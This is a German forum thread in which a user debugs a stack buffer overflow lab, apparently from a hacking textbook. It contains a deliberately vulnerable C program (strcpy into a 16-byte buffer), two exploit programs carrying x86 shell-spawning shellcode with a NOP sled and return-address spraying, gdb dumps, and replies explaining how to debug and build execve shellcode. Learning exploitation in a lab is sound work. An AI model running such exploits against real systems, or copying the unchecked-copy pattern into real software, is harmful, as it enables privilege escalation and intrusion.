Ergebnis 1 bis 9 von 9

Thema: der kleine unterschied...

  1. #1
    Registered User
    Registriert seit
    Sep 2009
    Beiträge
    193
    Renommee
    55

    der kleine unterschied...

    hi,
    kurz der Quellcode:
    PHP-Code:
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    int check_authentication(char *password) {
        
    int auth_flag 0;
        
    char password_buffer[16];

        
    strcpy(password_bufferpassword);
        
        if(
    strcmp(password_buffer"brillig") == 0)
            
    auth_flag 1;
        if(
    strcmp(password_buffer"outgrabe") == 0)
            
    auth_flag 1;

        return 
    auth_flag;
    }

    int main(int argcchar *argv[]) {
        if(
    argc 2) {
            
    printf("Usage: %s <password>\n"argv[0]);
            exit(
    0);
        }
        if(
    check_authentication(argv[1])) {
            
    printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
            
    printf("      Access Granted.\n");
            
    printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
        } else {
            
    printf("\nAccess Denied.\n");
       }

    das oben ist mein Opfer.

    Mit dem folgenden Code kann ich mir einen Test-shell aufmachen:
    PHP-Code:
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>

    char shellcode[]= 
    "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
    "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
    "\xe1\xcd\x80"
    ;

    int main(int argcchar *argv[]) {
        
    char *env[2] = {shellcode0};
        
    unsigned int iret;

        
    char *buffer = (char *) malloc(160);

        
    ret 0xbffffffa - (sizeof(shellcode)-1) - strlen("./auth_overflow");
        for(
    i=0160i+=4)
            *((
    unsigned int *)(buffer+i)) = ret;
        
        
    execle("./auth_overflow""auth_overflow"buffer0env);
        
    free(buffer);

    ....das geht wunderbar.

    Warum geht das nicht mit dem folgendem Code, es ist der gleiche Shellcode wie oben?!
    PHP-Code:
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    char shellcode[]= 
    "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
    "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
    "\xe1\xcd\x80"
    ;

    int main(int argcchar *argv[]) {
       
    unsigned int i, *ptrretoffset=270;
       
    char *command, *buffer;

       
    command = (char *) malloc(200);
       
    bzero(command200); // zero out the new memory

       
    strcpy(command"./auth_overflow \'"); // start command buffer
       
    buffer command strlen(command); // set buffer at the end

       
    if(argc 1// set offset
          
    offset atoi(argv[1]);

       
    ret = (unsigned int) &offset// set return address

       
    for(i=0160i+=4// fill buffer with return address
          
    *((unsigned int *)(buffer+i)) = ret;
       
    memset(buffer0x9060); // build NOP sled
       
    memcpy(buffer+60shellcodesizeof(shellcode)-1); 

       
    strcat(command"\'");

       
    system(command); // run exploit
       
    free(command);

    Waurm bekomme ich keine Shell? Wie kann ich den Fehler eingrenzen?

  2. #2
    Member
    Registriert seit
    May 2004
    Beiträge
    1.432
    Renommee
    1142

    Re: der kleine unterschied...

    Im ersten Code rufst Du auth_overflow auf und überschreibst die Rücksprungadresse durch zigfache Wiederholung so, dass sie auf den shellcode zeigt.

    Im zweiten Code müsste Dein Argument aus 60 NOPs, dem Shellcode und einigen malen einer Adresse, die dann wohl auf den Shellcode zeigen soll, bestehen. Das wird zu nichts führen, da die Rücksprungadresse mit NOPs gefüllt wird. Davon abgesehen ist fraglich, ob das Kommando überhaupt ausgeführt wird, da Du Deine Anführungszeichen nicht sauber terminierst.

  3. #3
    Registered User
    Registriert seit
    Sep 2009
    Beiträge
    193
    Renommee
    55

    Re: der kleine unterschied...

    hi,
    ja schon klar. :-)

    ich packe 60 nop´s auf den Buffer und dahinter meinen Shellcode. Danach führe ich auth_overflov + buffer aus.

    PHP-Code:
    (gdbx/40x buffer
    0x804b019
    :      0x90909090      0x90909090      0x90909090      0x90909090
    0x804b029
    :      0x90909090      0x90909090      0x90909090      0x90909090
    0x804b039
    :      0x90909090      0x90909090      0x90909090      0x90909090
    0x804b049
    :      0x90909090      0x90909090      0x90909090      0xdb31c031
    0x804b059
    :      0xb099c931      0x6a80cda4      0x6851580b      0x68732f2f
    0x804b069
    :      0x69622f68      0x51e3896e      0x8953e289      0xbf80cde1
    0x804b079
    :      0xbfffee0e      0xbfffee0e      0xbfffee0e      0xbfffee0e
    0x804b089
    :      0xbfffee0e      0xbfffee0e      0xbfffee0e      0xbfffee0e
    0x804b099
    :      0xbfffee0e      0xbfffee0e      0xbfffee0e      0xbfffee0e
    0x804b0a9
    :      0xbfffee0e      0xbfffee0e      0xbfffee0e      0xbfffee0e
    (gdbx/s command
    0x804b008
    :       "./auth_overflow '\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\061\300\061\333\061ə\260\244j\vXQh//shh/bin\211\343Q\211\342S\211\341\277\016\356\377\277\016\356\377\277\016\356\377\277\016\356\377\277\016\356\377\277\016\356\377\277\016\356\377\277\016\356\377\277\016\356\377\277\016\356\377\277\016\356\377\277\016\356\377\277\016\356\377\277\016\356\377\277\016\356\377\277\016\356\377\277"
    (gdb
    ich kenne nur gdb und strace. Soll ich einanders Prog nutzen?

    Wenn ich das richtig verstanden habe von dir, dann muss ich den exploit so ändern, dass auth_overflov "\x90\........ rauskommt?!

    macht das ihrgend wie sinn, gdb einmal den exploit öffnen und einmal für auth_overflow?

  4. #4
    Registered User
    Registriert seit
    Sep 2009
    Beiträge
    193
    Renommee
    55

    Re: der kleine unterschied...

    ok, ich gehe jetzt zu Fuss :-)

    ich erstelle x90h mal 30 + mein Shellcode, der geht 100%.

    PHP-Code:
    tomycat@linux-a4gd:~/test> ./auth_overflow $(perl -'print "\x90"x30')$(cat shellcode.bin)
    Speicherzugriffsfehler
    tomycat
    @linux-a4gd:~/test> . 
    ok, mit einen kleinem Programm kann ich die Eingabe in einer Datei speichern, das sie so aus:
    PHP-Code:
    tomycat@linux-a4gd:~/test> ./notetaker $(perl -'print "\x90"x30')$(cat shellcode.bin
    das Ergebnis:
    PHP-Code:
    tomycat@linux-a4gd:~/hackingsudo hexdump -/var/notes
    00000000  00 00 00 00 0a 90 90 90  90 90 90 90 90 90 90 90  
    |................|                                                                                                      
    00000010  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|                                                                                                      
    00000020  90 90 90 31 c0 31 db 31  c9 99 b0 a4 cd 80 6a 0b  |...1.1.1......j.|                                                                                                      
    00000030  58 51 68 2f 2f 73 68 68  2f 62 69 6e 89 e3 51 89  |XQh//shh/bin..Q.|                                                                                                      
    00000040  e2 53 89 e1 cd 80 0a                              |.S.....|                                                                                                               
    00000047                                                                                                                                                                            
    tomycat
    @linux-a4gd:~/test
    die ersten 4 Zeilen ist die user id dann kommt ein \, der rest ist der Code, den ich eingegeben habe.

    ok, gdb
    run AAAAAAAAAAAAAAAAAAAA
    (gdb) x/16xw password_buffer
    0xbffff7a0: 0x41414141 <- hier beginnt mein password_buffer 0x41414141 0x41414141 0x41414141
    0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141
    0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb
    0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc <- das ist meine Rücksprungadresse
    (gdb)


    das Ergebnis mit ....
    run $(perl -e 'print "\x90"x60')$(cat shellcode.bin)
    (gdb) x/16x password_buffer
    0xbfffeeac: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffeebc: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffeecc: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffeedc: 0x90909090 0x90909090 0x90909090 0xdb31c031
    (gdb) c

    ich kann den buffer problemlos überschreiben.

    Jetzt habe ich keine Ideen mehr.
    Geändert von tomycat (25.03.2012 um 16:05 Uhr)

  5. #5
    Registered User
    Registriert seit
    Sep 2009
    Beiträge
    193
    Renommee
    55

    Re: der kleine unterschied...

    wollte noch etwas hinzufügen:
    ich weis, dass ich in einer Funktion die Rücksprungadresse verändern kann, Wenn ich aber nur main habe, kann ich mit eine overflow etwas anfangen?

  6. #6
    Moderator
    Registriert seit
    Aug 2004
    Beiträge
    1.310
    Renommee
    1286

    Re: der kleine unterschied...

    Auch main "kehrt zurück" also solltest du damit auch etwas anfangen können.

  7. #7
    Registered User
    Registriert seit
    Sep 2009
    Beiträge
    193
    Renommee
    55

    Re: der kleine unterschied...

    @nait
    thx.
    in den letzen Wochen habe ich mich noch mal schau gemacht,wegen Rücksprungadresse.
    Wenn ich die letze Methode nehme, die nicht geht und die Rücksprungadesse selbst definiere, dann komme ich auch nicht ans Ziel.

    Kann das jemand für mich mal testen?

  8. #8
    Registered User
    Registriert seit
    Sep 2009
    Beiträge
    193
    Renommee
    55

    Re: der kleine unterschied...

    ok,
    nur kurz:
    Bin weiter gekommen.

    1.Code:
    Das Opfer

    2.Code:
    Der Explit geht 1a, es wird einfach der Ausführbare Code in einen Buffer geschreiben, die Adresse zum Buffer wird 40 mal an ./auth_overflov darngehängt.

    3.Code:
    Das Problem:
    Es wird x mal 90 gesendet + Shellcode + die Passende Rücksprungadresse zu 90er. Dummerweise muss die Rücksprungadresse passend zum Prog sein. Ich kann auch eine Rücksprungdresse zu einer Umgebungsvariable nehmen. Ich muss davor den Ausführbaren Code in eine Umgebungsvariable kopieren. Geht auch nicht.

    Dummerweise geht der 3.Code ohne Probleme mit meiner Live CD zum Buch.

    Irgend ein Tip?
    Geändert von tomycat (21.04.2012 um 15:26 Uhr) Grund: bin zu schnell

  9. #9
    Moderator
    Registriert seit
    May 2000
    Beiträge
    1.368
    Renommee
    1285

    Re: der kleine unterschied...

    Sofern deine Ruecksprungadresse ueberhaupt geladen wird, sollten zumindest die NOPs problemlos durchlaufen (vorausgesetzt, die Ruecksprungadresse zeigt wirklich darauf).
    Fuege einmal einfach direkt vor dem Shellcode anstatt 0x90 (NOP) das Byte 0xCC ein, das ist INT3 und effektiv ein Breakpoint fuer den Debugger. Wenn der Debugger dort stoppt, fuehrst du die einzelnen Instruktionen des Shellcodes mit "stepi" aus, und schaust, wo und warum es crasht.

    Prinzipiell muss der Shellcode nur ein execve("/bin/sh", { NULL }, NULL) hinkriegen, das ist im Wesentlichen:
    0x11 in EAX
    Adresse des Strings "/bin/sh" in EBX
    ECX=0
    EDX=0
    Interrupt 0x80

    In ECX koennte auch ein Pointer auf die Argumentliste stehen, in EDX ein Pointer auf die Environmentvariablen.

    Es hilft auch, zu verstehen, was der Shellcode genau macht - manche Shellcodes sind Positionsabhaengig (relativ zum Stackpointer oder Basepointer), oder brauchen bestimmte Voraussetzungen um zu funktionieren.

    Typisch fuer meine Shellcodes ist beispielsweise, dass ich den Stack-Basepointer (der meistens vor der Ruecksprungadresse vom Stack gePOPt wird) dazu missbrauche, die Adresse des Strings zu uebergeben, in dem der Pfad zur Shell steht. Im Shellcode kopiere ich EBP in EBX um, loesche ECX und EDX, PUSHe 0x11 auf den Stack (d.h. ESP muss da noch gueltig sein), POPe EAX, und fuehre den Syscall durch (INT 0x80).

    Uebrigens crashen manche Shells bzw. manche Versionen davon, wenn sie mit argv=NULL gestartet werden, daran kann es eventuell auch scheitern.
    Segmentation fault (core dumped)

Aktive Benutzer

Aktive Benutzer

Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1)

Ähnliche Themen

  1. Unterschied von IBM-370/ASM und x86 ASM?
    Von Acidtraxx im Forum Systemnahe Programmierung
    Antworten: 3
    Letzter Beitrag: 14.07.2006, 21:51
  2. [php] unterschied bei IE und NS?????
    Von native im Forum PHP, Perl und ASP
    Antworten: 3
    Letzter Beitrag: 27.03.2002, 13:16
  3. unterschied ***a zu a[][][]
    Von Mr Johnson im Forum C / C++
    Antworten: 2
    Letzter Beitrag: 31.12.2001, 00:51
  4. unterschied /bla & /~bla
    Von void im Forum Web Development
    Antworten: 6
    Letzter Beitrag: 15.05.2001, 20:52
  5. [Unterschied - Basic] Genaue Unterschied zwischen QBasic und QuickBasic
    Von -Rebell- im Forum Algorithmen und sonstige Programmiersprachen
    Antworten: 4
    Letzter Beitrag: 08.03.2001, 23:27

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •